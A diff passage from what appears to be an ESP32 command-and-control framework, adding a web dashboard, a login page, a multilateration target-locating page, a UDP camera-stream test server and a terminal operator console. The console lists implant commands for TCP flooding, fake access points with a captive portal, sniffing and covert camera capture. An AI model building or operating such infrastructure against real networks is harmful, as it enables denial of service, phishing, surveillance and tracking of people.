⠐⡌⢂⠱⣈⠱⣈⠒⡡⢒⠠⢃⠄⠣⢌⠢⣉⠢⣁⠣⡘⢄⠣⡘⢄⠣⡄⠓⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠊⠔⠣⢌⡑⡊⠔⣡⠊⡔⢡⠊⠤⡙⠠⢍⠒⢌⠢⠑⡌⢢⠘⠤⡑⢢⠑
|
||||
⠐⢌⠡⠒⡄⠣⢄⠣⡐⢡⠊⡔⢊⠱⣈⠒⣄⠃⢆⠱⣈⠦⠱⠘⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠘⠸⢠⠑⡌⢢⠉⣆⠩⡑⠬⡘⢄⠣⡑⢄⠣⡘⠤⡑⢢⢉
|
||||
⠈⢆⠡⢃⠌⡑⢢⠑⡌⠡⢎⠰⡁⠎⡄⡓⠤⠙⠈⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⠁⠚⠤⡑⡌⠱⡈⢆⠱⡈⢆⠱⡈⢆⠱⡈⢆
|
||||
⢁⠊⡔⡁⢎⠰⡁⢎⠰⡉⢆⠣⠘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⢌⢢⡁⠇⣌⠂⡅⢊⠤⡑⢌
|
||||
⠌⡒⠤⡑⢌⠢⡑⢌⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡌⢄⠣⠜⡠⢆⠱⣈
|
||||
⠒⢌⠰⢡⠊⡔⠡⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⡑⢊⠔⢢⠑⠤
|
||||
⡈⢆⡘⢂⠱⠨⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢌⡡⢊⠆⣉⠒
|
||||
⠐⢢⠘⠤⡉⡕⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⢅⡊⠤⣉
|
||||
⢈⠢⢉⠆⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡌⠱⡠
|
||||
</pre>
|
||||
<div class="lain-message">
|
||||
<h2>No devices in the Wired</h2>
|
||||
<p class="typing">Waiting for ESP32 agents to connect...</p>
|
||||
<p class="quote">"Present day... Present time... HAHAHA!"</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
{% block scripts %}
|
||||
<script>
|
||||
function formatDuration(seconds) {
|
||||
if (seconds < 60) return Math.round(seconds) + 's';
|
||||
if (seconds < 3600) return Math.round(seconds / 60) + 'm';
|
||||
const hours = Math.floor(seconds / 3600);
|
||||
const mins = Math.round((seconds % 3600) / 60);
|
||||
return hours + 'h ' + mins + 'm';
|
||||
}
|
||||
|
||||
function createDeviceCard(device) {
|
||||
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
|
||||
|
||||
return `
|
||||
<div class="card" data-device-id="${device.id}">
|
||||
<div class="card-header">
|
||||
<span class="name">${device.id}</span>
|
||||
<span class="badge ${statusClass}">${device.status}</span>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div class="device-info">
|
||||
<div class="device-row">
|
||||
<span class="label">IP Address</span>
|
||||
<span class="value">${device.ip}:${device.port}</span>
|
||||
</div>
|
||||
<div class="device-row">
|
||||
<span class="label">Connected</span>
|
||||
<span class="value">${formatDuration(device.connected_for_seconds)}</span>
|
||||
</div>
|
||||
<div class="device-row">
|
||||
<span class="label">Last Seen</span>
|
||||
<span class="value">${formatDuration(device.last_seen_ago_seconds)} ago</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
async function loadDevices() {
|
||||
try {
|
||||
const res = await fetch('/api/devices');
|
||||
const data = await res.json();
|
||||
|
||||
const grid = document.getElementById('devices-grid');
|
||||
const empty = document.getElementById('empty-state');
|
||||
const deviceCount = document.getElementById('device-count');
|
||||
const activeCount = document.getElementById('active-count');
|
||||
|
||||
if (data.devices && data.devices.length > 0) {
|
||||
grid.innerHTML = data.devices.map(createDeviceCard).join('');
|
||||
grid.style.display = 'grid';
|
||||
empty.style.display = 'none';
|
||||
|
||||
// Update stats
|
||||
deviceCount.textContent = data.devices.length;
|
||||
const active = data.devices.filter(d => d.status === 'Connected').length;
|
||||
activeCount.textContent = active;
|
||||
} else {
|
||||
grid.style.display = 'none';
|
||||
empty.style.display = 'flex';
|
||||
deviceCount.textContent = '0';
|
||||
activeCount.textContent = '0';
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Failed to load devices:', e);
|
||||
}
|
||||
}
|
||||
|
||||
loadDevices();
|
||||
setInterval(loadDevices, 5000);
|
||||
</script>
|
||||
{% endblock %}
|
||||
32
tools/c2/templates/login.html
Normal file
32
tools/c2/templates/login.html
Normal file
@ -0,0 +1,32 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Login - ESPILON</title>
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
|
||||
</head>
|
||||
<body class="login-container">
|
||||
<div class="login-box">
|
||||
<div class="logo">ESPILON</div>
|
||||
|
||||
{% if error %}
|
||||
<div class="error">{{ error }}</div>
|
||||
{% endif %}
|
||||
|
||||
<form method="post">
|
||||
<div class="form-group">
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username" required autofocus>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" required>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="btn-login">Sign in</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
174
tools/c2/templates/mlat.html
Normal file
174
tools/c2/templates/mlat.html
Normal file
@ -0,0 +1,174 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block title %}MLAT - ESPILON{% endblock %}
|
||||
|
||||
{% block head %}
|
||||
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
|
||||
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div class="page-header">
|
||||
<div class="page-title">MLAT <span>Multilateration Positioning</span></div>
|
||||
<div class="view-toggle">
|
||||
<button class="view-btn active" data-view="map" onclick="switchView('map')">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<circle cx="12" cy="10" r="3"/><path d="M12 21.7C17.3 17 20 13 20 10a8 8 0 1 0-16 0c0 3 2.7 7 8 11.7z"/>
|
||||
</svg>
|
||||
Map
|
||||
</button>
|
||||
<button class="view-btn" data-view="plan" onclick="switchView('plan')">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<rect x="3" y="3" width="18" height="18" rx="2"/><path d="M3 9h18M9 21V9"/>
|
||||
</svg>
|
||||
Plan
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="mlat-container">
|
||||
<!-- Map/Plan View -->
|
||||
<div class="mlat-view-wrapper">
|
||||
<!-- Leaflet Map View -->
|
||||
<div id="map-view" class="mlat-view active">
|
||||
<div id="leaflet-map"></div>
|
||||
</div>
|
||||
|
||||
<!-- Plan View (Canvas + Image) -->
|
||||
<div id="plan-view" class="mlat-view">
|
||||
<div class="plan-controls">
|
||||
<input type="file" id="plan-upload" accept="image/*" style="display:none" onchange="uploadPlanImage(this)">
|
||||
<button class="btn btn-sm" onclick="document.getElementById('plan-upload').click()">
|
||||
Upload Plan
|
||||
</button>
|
||||
<button class="btn btn-sm" onclick="clearPlan()">
|
||||
Clear
|
||||
</button>
|
||||
<div class="control-divider"></div>
|
||||
<button class="btn btn-sm toggle-btn active" id="grid-toggle" onclick="toggleGrid()">
|
||||
Grid
|
||||
</button>
|
||||
<button class="btn btn-sm toggle-btn active" id="labels-toggle" onclick="toggleLabels()">
|
||||
Labels
|
||||
</button>
|
||||
<div class="control-divider"></div>
|
||||
<span class="control-label">Zoom:</span>
|
||||
<button class="btn btn-sm" onclick="zoomPlan(-1)" title="Zoom Out">-</button>
|
||||
<span class="zoom-level" id="zoom-level">100%</span>
|
||||
<button class="btn btn-sm" onclick="zoomPlan(1)" title="Zoom In">+</button>
|
||||
<button class="btn btn-sm" onclick="resetZoom()" title="Reset View">Reset</button>
|
||||
<div class="control-divider"></div>
|
||||
<span class="control-label">Size:</span>
|
||||
<button class="btn btn-sm" onclick="adjustPlanSize(-10)" title="Shrink Plan">-10m</button>
|
||||
<span class="size-display" id="size-display">50x30m</span>
|
||||
<button class="btn btn-sm" onclick="adjustPlanSize(10)" title="Enlarge Plan">+10m</button>
|
||||
</div>
|
||||
<div class="plan-canvas-wrapper">
|
||||
<canvas id="plan-canvas"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Sidebar -->
|
||||
<div class="mlat-sidebar">
|
||||
<!-- Target Position -->
|
||||
<div class="mlat-panel">
|
||||
<h3>Target Position</h3>
|
||||
<div class="mlat-stat" id="target-coord1-row">
|
||||
<span class="label" id="target-coord1-label">Latitude</span>
|
||||
<span class="value" id="target-coord1">-</span>
|
||||
</div>
|
||||
<div class="mlat-stat" id="target-coord2-row">
|
||||
<span class="label" id="target-coord2-label">Longitude</span>
|
||||
<span class="value" id="target-coord2">-</span>
|
||||
</div>
|
||||
<div class="mlat-stat">
|
||||
<span class="label">Confidence</span>
|
||||
<span class="value" id="target-confidence">-</span>
|
||||
</div>
|
||||
<div class="mlat-stat">
|
||||
<span class="label">Last Update</span>
|
||||
<span class="value" id="target-age">-</span>
|
||||
</div>
|
||||
<div class="mlat-stat">
|
||||
<span class="label">Mode</span>
|
||||
<span class="value" id="coord-mode">GPS</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Active Scanners -->
|
||||
<div class="mlat-panel">
|
||||
<h3>Scanners (<span id="scanner-count">0</span>)</h3>
|
||||
<div class="scanner-list" id="scanner-list">
|
||||
<div class="empty">No scanners active</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Map Settings (GPS mode) -->
|
||||
<div class="mlat-panel" id="map-settings">
|
||||
<h3>Map Settings (GPS)</h3>
|
||||
<div class="config-row">
|
||||
<label>Center Lat</label>
|
||||
<input type="number" id="map-center-lat" value="48.8566" step="0.0001">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Center Lon</label>
|
||||
<input type="number" id="map-center-lon" value="2.3522" step="0.0001">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Zoom</label>
|
||||
<input type="number" id="map-zoom" value="18" min="1" max="20">
|
||||
</div>
|
||||
<button class="btn btn-primary btn-sm" onclick="centerMap()">Center Map</button>
|
||||
<button class="btn btn-sm" onclick="fitMapToBounds()">Fit to Scanners</button>
|
||||
</div>
|
||||
|
||||
<!-- Plan Settings (Local mode) -->
|
||||
<div class="mlat-panel" id="plan-settings" style="display:none">
|
||||
<h3>Plan Settings (Local)</h3>
|
||||
<div class="config-row">
|
||||
<label>Width (m)</label>
|
||||
<input type="number" id="plan-width" value="50" min="1" step="1">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Height (m)</label>
|
||||
<input type="number" id="plan-height" value="30" min="1" step="1">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Origin X (m)</label>
|
||||
<input type="number" id="plan-origin-x" value="0" step="0.1">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Origin Y (m)</label>
|
||||
<input type="number" id="plan-origin-y" value="0" step="0.1">
|
||||
</div>
|
||||
<button class="btn btn-primary btn-sm" onclick="applyPlanSettings()">Apply</button>
|
||||
</div>
|
||||
|
||||
<!-- MLAT Configuration -->
|
||||
<div class="mlat-panel">
|
||||
<h3>MLAT Config</h3>
|
||||
<div class="config-row">
|
||||
<label>RSSI @ 1m</label>
|
||||
<input type="number" id="config-rssi" value="-40" step="1">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Path Loss (n)</label>
|
||||
<input type="number" id="config-n" value="2.5" step="0.1">
|
||||
</div>
|
||||
<div class="config-row">
|
||||
<label>Smoothing</label>
|
||||
<input type="number" id="config-smooth" value="5" min="1" max="20">
|
||||
</div>
|
||||
<div class="btn-group">
|
||||
<button class="btn btn-primary btn-sm" onclick="saveConfig()">Save</button>
|
||||
<button class="btn btn-secondary btn-sm" onclick="clearData()">Clear All</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
{% block scripts %}
|
||||
<script src="{{ url_for('static', filename='js/mlat.js') }}"></script>
|
||||
{% endblock %}
|
||||
54
tools/c2/test_udp.py
Normal file
54
tools/c2/test_udp.py
Normal file
@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Simple UDP test server to debug camera streaming."""
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
HOST = "0.0.0.0"
|
||||
PORT = 5000
|
||||
TOKEN = b"Sup3rS3cretT0k3n"
|
||||
|
||||
def main():
|
||||
port = int(sys.argv[1]) if len(sys.argv) > 1 else PORT
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((HOST, port))
|
||||
|
||||
print(f"[UDP] Listening on {HOST}:{port}")
|
||||
print(f"[UDP] Token: {TOKEN.decode()}")
|
||||
print("[UDP] Waiting for packets...\n")
|
||||
|
||||
packet_count = 0
|
||||
frame_count = 0
|
||||
|
||||
try:
|
||||
while True:
|
||||
data, addr = sock.recvfrom(65535)
|
||||
packet_count += 1
|
||||
|
||||
# Check token
|
||||
if data.startswith(TOKEN):
|
||||
payload = data[len(TOKEN):]
|
||||
|
||||
if payload == b"START":
|
||||
print(f"[{addr[0]}:{addr[1]}] START (new frame)")
|
||||
elif payload == b"END":
|
||||
frame_count += 1
|
||||
print(f"[{addr[0]}:{addr[1]}] END (frame #{frame_count} complete)")
|
||||
else:
|
||||
print(f"[{addr[0]}:{addr[1]}] CHUNK: {len(payload)} bytes")
|
||||
else:
|
||||
print(f"[{addr[0]}:{addr[1]}] INVALID TOKEN: {data[:20]}...")
|
||||
|
||||
# Stats every 100 packets
|
||||
if packet_count % 100 == 0:
|
||||
print(f"\n--- Stats: {packet_count} packets, {frame_count} frames ---\n")
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n[UDP] Stopped. Total: {packet_count} packets, {frame_count} frames")
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
4
tools/c2/tui/__init__.py
Normal file
4
tools/c2/tui/__init__.py
Normal file
@ -0,0 +1,4 @@
|
||||
from tui.app import C3POApp
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
|
||||
__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"]
|
||||
295
tools/c2/tui/app.py
Normal file
295
tools/c2/tui/app.py
Normal file
@ -0,0 +1,295 @@
|
||||
"""
|
||||
Main C3PO TUI Application using Textual.
|
||||
Multi-device view: all connected devices visible simultaneously.
|
||||
"""
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from textual.app import App, ComposeResult
|
||||
from textual.binding import Binding
|
||||
from textual.containers import Horizontal, Vertical, Container, ScrollableContainer
|
||||
from textual.widgets import Static
|
||||
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||
from tui.widgets.command_input import CommandInput
|
||||
from tui.widgets.device_tabs import DeviceTabs
|
||||
|
||||
|
||||
class DeviceContainer(Container):
|
||||
"""Container for a single device with border and title."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceContainer {
|
||||
height: 1fr;
|
||||
min-height: 6;
|
||||
border: solid $secondary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, device_id: str, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self.device_id = device_id
|
||||
self.border_title = f"DEVICE: {device_id}"
|
||||
|
||||
|
||||
class C3POApp(App):
|
||||
"""C3PO Command & Control TUI Application."""
|
||||
|
||||
CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss"
|
||||
|
||||
BINDINGS = [
|
||||
Binding("alt+g", "toggle_global", "Global", show=True),
|
||||
Binding("ctrl+l", "clear_global", "Clear", show=True),
|
||||
Binding("ctrl+q", "quit", "Quit", show=True),
|
||||
Binding("escape", "focus_input", "Input", show=False),
|
||||
Binding("tab", "tab_complete", show=False, priority=True),
|
||||
]
|
||||
|
||||
def __init__(self, registry=None, cli=None, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self.registry = registry
|
||||
self.cli = cli
|
||||
self._device_panes: dict[str, DeviceLogPane] = {}
|
||||
self._device_containers: dict[str, DeviceContainer] = {}
|
||||
self._device_modules: dict[str, str] = {}
|
||||
|
||||
def compose(self) -> ComposeResult:
|
||||
yield DeviceTabs(id="tab-bar")
|
||||
|
||||
with Horizontal(id="main-content"):
|
||||
# Left side: all devices stacked vertically
|
||||
with Vertical(id="devices-panel"):
|
||||
yield Static("Waiting for devices...", id="no-device-placeholder")
|
||||
|
||||
# Right side: global logs
|
||||
with Container(id="global-log-container") as global_container:
|
||||
global_container.border_title = "GLOBAL LOGS"
|
||||
yield GlobalLogPane(id="global-log")
|
||||
|
||||
with Vertical(id="input-container"):
|
||||
yield Static(
|
||||
"Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete",
|
||||
id="shortcuts-bar"
|
||||
)
|
||||
yield CommandInput(id="command-input")
|
||||
|
||||
def on_mount(self) -> None:
|
||||
"""Called when app is mounted."""
|
||||
tui_bridge.set_app(self)
|
||||
self.set_interval(0.1, self.process_bridge_queue)
|
||||
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
if self.cli:
|
||||
cmd_input.set_completer(self._make_completer())
|
||||
cmd_input.focus()
|
||||
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view")
|
||||
|
||||
def _make_completer(self):
|
||||
"""Create a completer function that works without readline."""
|
||||
ESP_COMMANDS = [
|
||||
"system_reboot", "system_mem", "system_uptime", "system_info",
|
||||
"ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp",
|
||||
"fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients",
|
||||
"fakeap_portal_start", "fakeap_portal_stop",
|
||||
"fakeap_sniffer_on", "fakeap_sniffer_off",
|
||||
"cam_start", "cam_stop", "mlat", "trilat",
|
||||
]
|
||||
|
||||
def completer(text: str, state: int) -> str | None:
|
||||
if not self.cli:
|
||||
return None
|
||||
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
buffer = cmd_input.value
|
||||
parts = buffer.split()
|
||||
|
||||
options = []
|
||||
|
||||
if len(parts) <= 1 and not buffer.endswith(" "):
|
||||
options = ["send", "list", "modules", "group", "help", "clear", "exit",
|
||||
"active_commands", "web", "camera"]
|
||||
|
||||
elif parts[0] == "send":
|
||||
if len(parts) == 2 and not buffer.endswith(" "):
|
||||
options = ["all", "group"] + self.cli.registry.ids()
|
||||
elif len(parts) == 2 and buffer.endswith(" "):
|
||||
options = ["all", "group"] + self.cli.registry.ids()
|
||||
elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "):
|
||||
options = list(self.cli.groups.all_groups().keys())
|
||||
elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "):
|
||||
options = ESP_COMMANDS
|
||||
elif len(parts) == 3 and parts[1] != "group":
|
||||
options = ESP_COMMANDS
|
||||
elif len(parts) == 4 and parts[1] == "group":
|
||||
options = ESP_COMMANDS
|
||||
|
||||
elif parts[0] == "web":
|
||||
if len(parts) <= 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "camera":
|
||||
if len(parts) <= 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "group":
|
||||
if len(parts) == 2 and not buffer.endswith(" "):
|
||||
options = ["add", "remove", "list", "show"]
|
||||
elif len(parts) == 2 and buffer.endswith(" "):
|
||||
options = ["add", "remove", "list", "show"]
|
||||
elif parts[1] in ("remove", "show") and len(parts) >= 3:
|
||||
options = list(self.cli.groups.all_groups().keys())
|
||||
elif parts[1] == "add" and len(parts) >= 3:
|
||||
options = self.cli.registry.ids()
|
||||
|
||||
matches = [o for o in options if o.startswith(text)]
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
return completer
|
||||
|
||||
def _timestamp(self) -> str:
|
||||
return time.strftime("%H:%M:%S")
|
||||
|
||||
def process_bridge_queue(self) -> None:
|
||||
for msg in tui_bridge.get_pending_messages():
|
||||
self._handle_tui_message(msg)
|
||||
|
||||
def _handle_tui_message(self, msg: TUIMessage) -> None:
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp))
|
||||
|
||||
if msg.msg_type == MessageType.SYSTEM_MESSAGE:
|
||||
global_log.add_system(timestamp, msg.payload)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_CONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} connected")
|
||||
self._add_device_pane(msg.device_id)
|
||||
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||
tabs.add_device(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_RECONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} reconnected")
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED:
|
||||
self._device_modules[msg.device_id] = msg.payload
|
||||
global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}")
|
||||
self._update_device_title(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_DISCONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} disconnected")
|
||||
self._remove_device_pane(msg.device_id)
|
||||
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||
tabs.remove_device(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_EVENT:
|
||||
global_log.add_device_event(timestamp, msg.device_id, msg.payload)
|
||||
if msg.device_id in self._device_panes:
|
||||
event_type = self._detect_event_type(msg.payload)
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type)
|
||||
|
||||
elif msg.msg_type == MessageType.COMMAND_SENT:
|
||||
global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||
if msg.device_id in self._device_panes:
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent")
|
||||
|
||||
elif msg.msg_type == MessageType.COMMAND_RESPONSE:
|
||||
global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||
if msg.device_id in self._device_panes:
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp")
|
||||
|
||||
elif msg.msg_type == MessageType.ERROR:
|
||||
global_log.add_error(timestamp, msg.payload)
|
||||
|
||||
def _detect_event_type(self, payload: str) -> str:
|
||||
payload_upper = payload.upper()
|
||||
if payload_upper.startswith("INFO:"):
|
||||
return "info"
|
||||
elif payload_upper.startswith("LOG:"):
|
||||
return "log"
|
||||
elif payload_upper.startswith("ERROR:"):
|
||||
return "error"
|
||||
elif payload_upper.startswith("DATA:"):
|
||||
return "data"
|
||||
return "info"
|
||||
|
||||
def _add_device_pane(self, device_id: str) -> None:
|
||||
"""Add a new device pane (visible immediately)."""
|
||||
if device_id in self._device_panes:
|
||||
return
|
||||
|
||||
# Hide placeholder
|
||||
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||
placeholder.display = False
|
||||
|
||||
# Create container with border for this device
|
||||
container = DeviceContainer(device_id, id=f"device-container-{device_id}")
|
||||
pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}")
|
||||
|
||||
self._device_containers[device_id] = container
|
||||
self._device_panes[device_id] = pane
|
||||
|
||||
# Mount in the devices panel
|
||||
devices_panel = self.query_one("#devices-panel", Vertical)
|
||||
devices_panel.mount(container)
|
||||
container.mount(pane)
|
||||
|
||||
def _remove_device_pane(self, device_id: str) -> None:
|
||||
"""Remove a device pane."""
|
||||
if device_id in self._device_containers:
|
||||
container = self._device_containers.pop(device_id)
|
||||
container.remove()
|
||||
self._device_panes.pop(device_id, None)
|
||||
self._device_modules.pop(device_id, None)
|
||||
|
||||
# Show placeholder if no devices
|
||||
if not self._device_containers:
|
||||
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||
placeholder.display = True
|
||||
|
||||
def _update_device_title(self, device_id: str) -> None:
|
||||
"""Update device container title with modules info."""
|
||||
if device_id in self._device_containers:
|
||||
modules = self._device_modules.get(device_id, "")
|
||||
container = self._device_containers[device_id]
|
||||
if modules:
|
||||
container.border_title = f"DEVICE: {device_id} [{modules}]"
|
||||
else:
|
||||
container.border_title = f"DEVICE: {device_id}"
|
||||
|
||||
def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None:
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
completions_str = " ".join(event.completions)
|
||||
global_log.add_system(self._timestamp(), f"Completions: {completions_str}")
|
||||
|
||||
def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None:
|
||||
command = event.command
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
global_log.add_system(self._timestamp(), f"Executing: {command}")
|
||||
|
||||
if self.cli:
|
||||
try:
|
||||
self.cli.execute_command(command)
|
||||
except Exception as e:
|
||||
global_log.add_error(self._timestamp(), f"Command error: {e}")
|
||||
|
||||
def action_toggle_global(self) -> None:
|
||||
"""Toggle global logs pane visibility."""
|
||||
global_container = self.query_one("#global-log-container", Container)
|
||||
global_container.display = not global_container.display
|
||||
|
||||
def action_clear_global(self) -> None:
|
||||
"""Clear global logs pane only."""
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
